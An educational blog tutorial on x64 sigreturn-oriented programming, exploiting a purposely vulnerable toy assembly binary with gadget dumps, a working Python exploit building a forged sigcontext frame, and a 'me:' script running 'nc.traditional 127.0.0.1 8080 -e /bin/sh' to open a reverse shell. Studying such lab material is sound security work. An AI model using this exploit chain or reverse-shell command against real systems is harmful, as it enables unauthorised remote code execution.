X64 Sigreturn Oriented Programming

Background


Sigreturn-oriented programming (SROP) is a technique similar to return-oriented programming (ROP), as it uses code reuse to execute code outside the scope of the original control flow.
It has been presented for the first time at the 35th Security and Privacy IEEE conference by Erik Bosman and Herbert Bos.
This technique uses the same basic assumptions behind the return-oriented programming technique: an attacker controlling the call stack, for example through a stack buffer overflow, is able to influence the control flow of the program through simple instruction sequences called gadgets.
The attack works by putting on the call stack a forged sigcontext structure and then by overwriting the return address with the location of a gadget that allows the attacker to call the sigreturn system call.

It’s all about signal


When the kernel delivers a signal, it creates a frame on the stack where it stores the current execution context. This structure pushed onto the stack is a specific architecture variant of the sigcontext structure, which holds various data comprising the content of the registers.
After handling the signal, the kernel calls sigreturn to resume the execution. This syscall takes a sigcontext structure from the stack to load the registers.
Here is the sigcontext structure taken from the sigcontext.h :

/*
* The 64-bit signal frame:
*/
struct sigcontext_64 {  
    __u64                   r8;
    __u64                   r9;
    __u64                   r10;
    __u64                   r11;
    __u64                   r12;
    __u64                   r13;
    __u64                   r14;
    __u64                   r15;
    __u64                   di;
    __u64                   si;
    __u64                   bp;
    __u64                   bx;
    __u64                   dx;
    __u64                   ax;
    __u64                   cx;
    __u64                   sp;
    __u64                   ip;
    __u64                   flags;
    __u16                   cs;
    __u16                   gs;
    __u16                   fs;
    __u16                   ss;
    __u64                   err;
    __u64                   trapno;
    __u64                   oldmask;
    __u64                   cr2;

    /*
     * fpstate is really (struct _fpstate *) or (struct _xstate *)
     * depending on the FP_XSTATE_MAGIC1 encoded in the SW reserved
     * bytes of (struct _fpstate) and FP_XSTATE_MAGIC2 present at the end
     * of extended memory layout. See comments at the definition of
     * (struct _fpx_sw_bytes)
     */
    __u64                   fpstate; /* Zero when no FPU/extended context */
    __u64                   reserved1[8];
};


Exploitation


If we are able to find a buffer overflow in an application which allows to overwrite the saved instruction pointer and place a sigcontext structure onto the stack, then we can execute any system call. All we need is a gadget which sets RAX to 0xf (15) and another one which does syscall/ret.
The second gadget (syscall/ret) is surprisingly easy to find on some linux distribution. This gadget is located (for some UNIX system) in the vsyscall page which is mapped at a fixed location into all user-space processes.

~$ cat /proc/self/maps  
...
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0          [vsyscall]

gdb-peda$ x/3i 0xffffffffff600007  
   0xffffffffff600007:    syscall 
   0xffffffffff600009:    ret

In recent kernels, the vsyscall page isn’t executable anymore and the kernel fakes the vsyscall functionality in kernel code instead.

Assuming that we found the required gadgets, we need to arrange our payload in order to successfully exploit a classic stack-based overflow. Note that zeroes should be allowed in the payload (e.g. a non strcpy vulnerability); otherwise, we need to find a way to zero some parts of sigcontext structure.

Code


In this section we analyze a vulnerable binary (vuln.s) and explain a way to exploit it using the SROP technique (exploit.py). You can download all of this on our github.

Vulnerable binary

section .text  
    global _start

vuln:  
    sub rsp, 20

    mov rcx, reqlen
    mov rsi, req
    mov rdi, rsp
    rep movsb

    mov rax, 0
    mov rsi, rdi
    xor rdi, rdi
    mov rdx, 0x127
    syscall

    dec rax
    mov rdx, reqlen
    add rdx, rax
    mov rax, 1
    mov rdi, 1
    mov rsi, rsp
    syscall

    add rsp, 20
    ret

_start:

    mov rdx, givelen
    mov rax, 1
    mov rdi, 1
    mov rsi, give
    syscall

    call vuln
    mov rax, 60
    mov rdi, 0
    syscall
    ret

section .data  
    give: db 'Give me something: '
    givelen: equ $-give
    req: db 'You gave me:'
    reqlen: equ $-req

The following program is a simple binary which gets an entry from the user and then prints it on the screen.
There is a vulnerability in the vuln function, because the stack pointer is not correctly set. Considering that the function can collect and paste on the stack 0x127 (295) bytes from the user input, decreasing the stack pointer of 20 bytes is clearly not enough to contain the user input.
Therefore, the binary is vulnerable to a classical stack-based overflow in the vuln function.

Exploit

The binary is not compiled as PIE but ASLR and NX are enabled.

$ file vuln  
vuln: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), statically linked, not stripped

gdb-peda$ checksec  
ASLR      : ENABLED  
CANARY    : disabled  
FORTIFY   : disabled  
NX        : ENABLED  
PIE       : disabled  
RELRO     : disabled  

As explained, we need at least two gadgets for this kind of exploitation.

Syscall / Ret

The syscall / ret gadgets is easy to find as the binary gives it to us gracefully :

gdb-peda$ disas _start  
Dump of assembler code for function _start:  
   0x00000000004000f9 <+0>:     mov    edx,0x13
   0x00000000004000fe <+5>:     mov    eax,0x1
   0x0000000000400103 <+10>:    mov    edi,0x1
   0x0000000000400108 <+15>:    movabs rsi,0x600128
   0x0000000000400112 <+25>:    syscall 
   0x0000000000400114 <+27>:    call   0x4000b0 
   0x0000000000400119 <+32>:    mov    eax,0x3c
   0x000000000040011e <+37>:    mov    edi,0x0
   0x0000000000400123 <+42>:    syscall 
   0x0000000000400125 <+44>:    ret 

Our gadget is located at the address : 0x0400123

Sigreturn syscall

As explained, we have to set RAX = 0xf to execute a sigreturn syscall. Looking at the gadgets, there isn’t any to accomplish this need.

~$ ROPgadget --binary ./vuln  
Gadgets information  
============================================================
0x00000000004000e1 : add byte ptr [rax + 1], cl ; ret 0x1b8  
0x00000000004000df : add byte ptr [rax], al ; add byte ptr [rax + 1], cl ; ret 0x1b8  
0x000000000040010e : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall  
0x000000000040011b : add byte ptr [rax], al ; add byte ptr [rdi], bh ; syscall  
0x000000000040011c : add byte ptr [rax], al ; mov edi, 0 ; syscall  
0x00000000004000ed : add byte ptr [rax], al ; mov rsi, rsp ; syscall  
0x00000000004000d6 : add byte ptr [rax], al ; syscall  
0x00000000004000e9 : add byte ptr [rdi + 1], bh ; mov rsi, rsp ; syscall  
0x000000000040011d : add byte ptr [rdi], bh ; syscall  
0x00000000004000eb : add dword ptr [rax], eax ; add byte ptr [rax], al ; mov rsi, rsp ; syscall  
0x000000000040010b : add dword ptr [rax], esp ; add byte ptr [rax], al ; add byte ptr [rax], al ; syscall  
0x00000000004000f3 : add eax, 0x14c48348 ; ret  
0x00000000004000f5 : add esp, 0x14 ; ret  
0x00000000004000f4 : add rsp, 0x14 ; ret  
0x000000000040011a : cmp al, 0 ; add byte ptr [rax], al ; mov edi, 0 ; syscall  
0x000000000040011e : mov edi, 0 ; syscall  
0x00000000004000ea : mov edi, 1 ; mov rsi, rsp ; syscall  
0x00000000004000d3 : mov edx, 0x127 ; syscall  
0x0000000000400109 : mov esi, 0x600128 ; add byte ptr [rax], al ; add byte ptr [rax], al ; syscall  
0x00000000004000f0 : mov esi, esp ; syscall  
0x00000000004000ef : mov rsi, rsp ; syscall  
0x00000000004000f1 : out 0xf, al ; add eax, 0x14c48348 ; ret  
0x00000000004000f8 : ret  
0x00000000004000e4 : ret 0x1b8  
0x00000000004000d8 : syscall  
0x00000000004000d1 : xor edi, edi ; mov edx, 0x127 ; syscall  
0x00000000004000d0 : xor rdi, rdi ; mov edx, 0x127 ; syscall

Unique gadgets found: 27  

We have to find another way to set RAX. Let’s see what the program does and, more precisely, what the vuln function does :

  • Place 'You gave me:' on the stack
  • syscall sys_read which place the content of the user input on the stack just after the message above.
  • syscall sys_write to print the user input on the screen.

The last execution that will affect RAX is the syscall sys_write. The length written is stored in it.
This is perfect as the the stacked-based overflow appears just after this call.

The value of RAX will be the length of 'You gave me:' + the length of our payload. (minus one : DEC RAX)

At this point, there is several ways to exploit the binary and the following exploit explains one of them.

Syscall sys_execve

We want to use sys_execve. For this purpose, we need to find a way to store the string "/bin/sh" or to get one from the binary.

The binary is subject to ASLR so we can't just paste a string and get the address from the stack.
Let's see what we can use :

gdb-peda$ x/3i vuln  
   0x4000b0 :    sub    rsp,0x14
   0x4000b4 :    mov    ecx,0xc
   0x4000b9 :    movabs rsi,0x60013b
gdb-peda$ x/s 0x60013b  
0x60013b:    "You gave me:"  
gdb-peda$ x/s 0x600144  
0x600144:    "me:"  

The string 'You gave me:' is in the data section so the memory address is fixed and known : 0x60013B
There is no application called 'You gave me:' but we can use this string or at least a part of it. We choose the last part of the string.
We just need to create a binary or script called : 'me:'

~$ echo -en '#!/bin/sh\nnc.traditional 127.0.0.1 8080 -e /bin/sh &' > me:

This script has to be in the folder in which we launch the vulnerable binary.

Here comes the part to set RAX = 0xf by using gadgets or tricks. As explained, RAX value depends on the length written by sycall sys_write. For exemple :

  • length of 'You gave me:' => 12
  • length before saved instruction pointer => 8
  • gadget(s) => 8 * ?
  • length of a sigcontext frame => 248

This makes RAX having a minimum value of 276.(12+8+8+248)
Looking at the x64 syscall table, we find : sys_syncfs, which can help us to succeed and get our RAX = 0xf. Its value is : 306.

If we manage to set RAX = 306 after the syscall write, and if our payload overwrites the saved instruction pointer with 3 syscall / ret, we achieve our syscall sys__execve.

Why do we use 3 syscall / ret :

  • The first one calls sys_syncfs which sets RAX to 0.
  • The second one calls sys_read. We write fourteen A followed by enter and RAX is set to 15 (0xf)
  • The third one calls sys_execve !

We now have everything we need to exploit the binary. We use Frame.py simplifying the syntax to generate our sigreturn frame. Here's how it works :

  • Create a SigreturnFrame object by selecting the architecture type. In our case, it's x64
  • Use the method set_value on the object to set the value of a choosen register. In our case :
    • set RAX with syscall value of sys_execve
    • set RID with the memory address of the string 'me:'
    • set RIP with the syscall / ret address
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Author:     Blackndoor
# Website:    http://blackbunny.io/
#
# start:     python exploit.py
#

from struct import *  
from Frame import *  
from subprocess import Popen, PIPE  
import time  
import sys

SYS_CALL     = 0x400123            # gadget syscall;ret;  
SYS_EXECVE   = 59            # sys_execve syscall  
SHELL        = 0x600144            # 0x600140: "me:"           

#############################################################################
# Construction of the payload
#
# chunk before RIP: "A" * 8
#
# 3 * syscall / ret
#    1. RAX=306 => sys_syncfs => rax 0
#    2. RAX=0   => sys_read   => "C"*15 => RAX 15 => sys_rt_sigreturn
#    3. RAX=15  => sys_rt_sigreturn
#
# struct sigcontext
#    set rax to sys_execve
#    set rdi to SHELL
#    set rip to SYS_cALL
#
# chunk to have payload len 295 for 1.
#
#############################################################################
payload = "A" * 8  
payload+= pack('<Q',SYS_CALL)*3  
frame = SigreturnFrame(arch="x64")  
frame.set_regvalue("rax", SYS_EXECVE)  
frame.set_regvalue("rdi", SHELL)  
frame.set_regvalue("rip", SYS_CALL)  
payload+= frame.get_frame()  
payload+= "B"*(295-len(payload))

#############################################################################
# open the binary
p = Popen(['./vuln'], stdin=PIPE)

# send the payload
p.stdin.write(payload)

# test shown that time is necessary
time.sleep(0.1)

# Enjoy your shell !!!
print "\n[i] run : nc -lvp 8080 in another shell !"  
print "[i] when ready, enter : CCCCCCCCCCCCCC following by [enter]...."  
p.wait()  
print "[!] Enjoy your shell !!!"  
~$ python exploit.py  
Give me something: You gave me:AAAAAAAA#@#@#@D`;#@3BBBBBBBBBBBBBB  
[i] run : nc -lvp 8080 in another shell !
[i] when ready, enter : CCCCCCCCCCCCCC following by [enter]....
CCCCCCCCCCCCCC  
[!] Enjoy your shell !!!

(in another terminal)  
$ nc -lvp 8080  
Listening on [0.0.0.0] (family 0, port 8080)  
Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 54174)  
ls  
Frame.py  
Frame.pyc  
exploit.py  
me:  
vuln  


References